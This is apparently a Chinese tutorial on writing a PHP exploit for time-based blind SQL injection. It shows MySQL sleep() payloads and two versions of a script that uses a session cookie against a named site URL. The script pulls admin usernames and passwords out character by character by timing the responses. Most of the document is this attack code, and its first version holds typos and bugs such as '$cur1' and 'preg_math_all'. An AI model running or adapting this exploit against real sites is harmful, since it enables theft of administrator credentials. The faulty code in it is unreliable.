延时注入exp编写

1.延时注入语句

php学习

<?php
$time1=time();
echo $time1;
sleep(10);
$time2=time();
print $time2-$time1;
?>

<?php
$time1=time();
sleep(10);
$time2=time();
print $time2-$time1;
?>

mysql的延时语句测试

 select if（‘root’=‘root’，sleep（3），0）

数据的长度

select if(LENGTH((select GROUP_CONCAT(username,0x3a,password)from admin))=38,sleep(5),0)

 每一个字符的ascii码

select if(ascii(substring((select GROUP_CONCAT(username,0x3a,password)from admin),1,1))=105,sleep(5),0)

延时注入原理是什么？

就是利用mysql里面的sleep（）延时 再根据数据库延时 判断网页的页面返回时间

假如条件判断正确 那么就会延时五秒。

构造注入延时的语句，当开始到结束的时候肯定是五秒或者大于五秒。

得到数据长度exp编写

<?php 
	//参数1：访问的url 参数2：post数据（不填则为GET） 参数3：提交的$cookies 参数4：是否返回$cookies
function curl_request($url,$post='',$cookie='',$returnCookie=0){
	$curl=curl_init();
	curl_setopt($curl,CURLOPT_URL,$url);
	curl_setopt($curl,CURLOPT_USERAGENT,'Mozilla/5.0(compatible;MSIE 10.0;windows NT 6.1;Trident/6.0)');
	curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);
	curl_setopt($curl,CURLOPT_AUTOREFERER,1);
	curl_setopt($curl,CURLOPT_REFERER,"http://xxx");
	if($post){
		curl_setopt($curl,CUROPT_POST,1);
		curl_setopt($curl,CUROPT_POSTFIELDS,http_build_query($post));
	}
	if($cookie){
	     curl_setopt($curl,CURLOPT_COOKIE,$cookie);
	 }
	 curl_setopt($curl,CURLOPT_HEADER,$returnCookie);
	 curl_setopt($curl,CURLOPT_TIMEOUT,10);
	 curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
	 $data=curl_exec($cur1);
	 if(curl_errno($curl)){
	 	return curl_error($curl);
	 }
     curl_close($curl);
     if($returnCookie){
         list($header,$body)=explode("\r\n\r\n",$data,2);
         preg_math_all("/Set\-Cookie:([^;]*);/",$header,$matches);
         $info['cookie']=substr($matches[1][0],1);
         $info['content']=$body;
         return $info;	
     }else{
     	return $data;
     }
   }
   //得到数据长度  
   function getstrlen($url,$cookie){
   	$data_len='';
   	$i=1;
   	while(true){
   		$s="%20and%20if(LENGTH((select%20GROUP_CONCAT(username,0x3a,password)from%20admin))={$i},sleep(5),0)";
   		$start_time=time();
   		$urlexp=$url.$s;
   		$html=exploit($urlexp,$cookie);
   		if((time()-$start_time)>=5){
   			$data_len=$i;
   			break;
   		}
   		$i++;
   	}
   	return $data_len;
   }
   
   function exploit($url,$cookie){
   	  $html=curl_request($url,'',$cookie);
   	  return $html
   }
   
   function get_data($url,$cookie,$datalen){  
   	$admin_pass='';
   	for($i=1;$i<=$datalen;$i++){     
   		for($j=1;$j<=125;$j++){      
   			$s="%20and%20ascii(substring((select%20GROUP_CONCAT(username,0x3a,password)from%20admin),{$i},1))={$j}";
   			if(strlen($tmp_html)==strlen(exploit($url.$s,$cookie))){
   				$c=chr($j);
   				$admin_pass.=$c;
   				echo $admin_pass."\r\n";
   				break;
   			}
   		}
   	}
   	return $admin_pass;
   }
   
   $cookie='PHPSESSID=lkmi6apekkpfvemo5mnmf7opk7';
   $url='http://www.moontestester.com/article.php?id=1';
   $datalen=getstrlen($url,$cookie);
   print $datalen;
?>

得到数据长度

完整延时注入exp代码

​
<?php 
	//参数1：访问的url 参数2：post数据（不填则为GET） 参数3：提交的$cookies 参数4：是否返回$cookies
function curl_request($url,$post='',$cookie='',$returnCookie=0){
	$curl=curl_init();
	curl_setopt($curl,CURLOPT_URL,$url);
	curl_setopt($curl,CURLOPT_USERAGENT,'Mozilla/5.0(compatible;MSIE 10.0;windows NT 6.1;Trident/6.0)');
	curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);
	curl_setopt($curl,CURLOPT_AUTOREFERER,1);
	curl_setopt($curl,CURLOPT_REFERER,"http://xxx");
	if($post){
		curl_setopt($curl,CUROPT_POST,1);
		curl_setopt($curl,CUROPT_POSTFIELDS,http_build_query($post));
	}
	if($cookie){
	     curl_setopt($curl,CURLOPT_COOKIE,$cookie);
	 }
	 curl_setopt($curl,CURLOPT_HEADER,$returnCookie);
	 curl_setopt($curl,CURLOPT_TIMEOUT,10);
	 curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
	 $data=curl_exec($cur1);
	 if(curl_errno($curl)){
	 	return curl_error($curl);
	 }
     curl_close($curl);
     if($returnCookie){
         list($header,$body)=explode("\r\n\r\n",$data,2);
         preg_math_all("/Set\-Cookie:([^;]*);/",$header,$matches);
         $info['cookie']=substr($matches[1][0],1);
         $info['content']=$body;
         return $info;	
     }else{
     	return $data;
     }
   }
   //得到数据长度  
   function getstrlen($url,$cookie){
   	$data_len='';
   	$i=1;
   	while(true){
   		$s="%20and%20if(LENGTH((select%20GROUP_CONCAT(username,0x3a,password)from%20admin))={$i},sleep(5),0)";
   		$start_time=time();
   		$urlexp=$url.$s;
   		$html=exploit($urlexp,$cookie);
   		if((time()-$start_time)>=5){
   			$data_len=$i;
   			break;
   		}
   		$i++;
   	}
   	return $data_len;
   }
   
   function exploit($url,$cookie){
   	  $html=curl_request($url,'',$cookie);
   	  return $html;
   }
   
   function get_data($url,$cookie,$datalen){  
   	$admin_pass='';
   	for($i=1;$i<=$datalen;$i++){     
   		for($j=1;$j<=125;$j++){      
   			$s="%20and%20if(ascii(substring((select GROUP_CONCAT(username,0x3a,password)from%20admin),{$i},1))={$j},sleep(5),0)";
   			$start_time=time();
   		    $urlexp=$url.$s;
   			$html=exploit($urlexp,$cookie);
   			if((time()-$start_time)>=5){
   				$c=chr($j);
   				$admin_pass.=$c;
   				echo $admin_pass."\r\n";
   				break;
   			}
   		}
   	}
   	return $admin_pass;
   }
   
   $cookie='PHPSESSID=lkmi6apekkpfvemo5mnmf7opk7';
   $url='http://www.moontestester.com/article.php?id=1';
   $datalen=getstrlen($url,$cookie);
   
   if($datalen)
   {
   	echo "[+]".$datalen."[+]\r\n";
   	echo get_data($url,$cookie,$datalen);
   }else{
   	 echo "data null";
   } 
?>

​

分析代码原理：

填写登录的cookie和注入的url就会行执getstrlen函数，就会用时间差得出长度为38，再把38传入到get_data函数里,用ascii进行每一个字符的ascii码的判断，再把判断好的ascii转为字符，累加起来就会得到最后结果。

终端运行结果：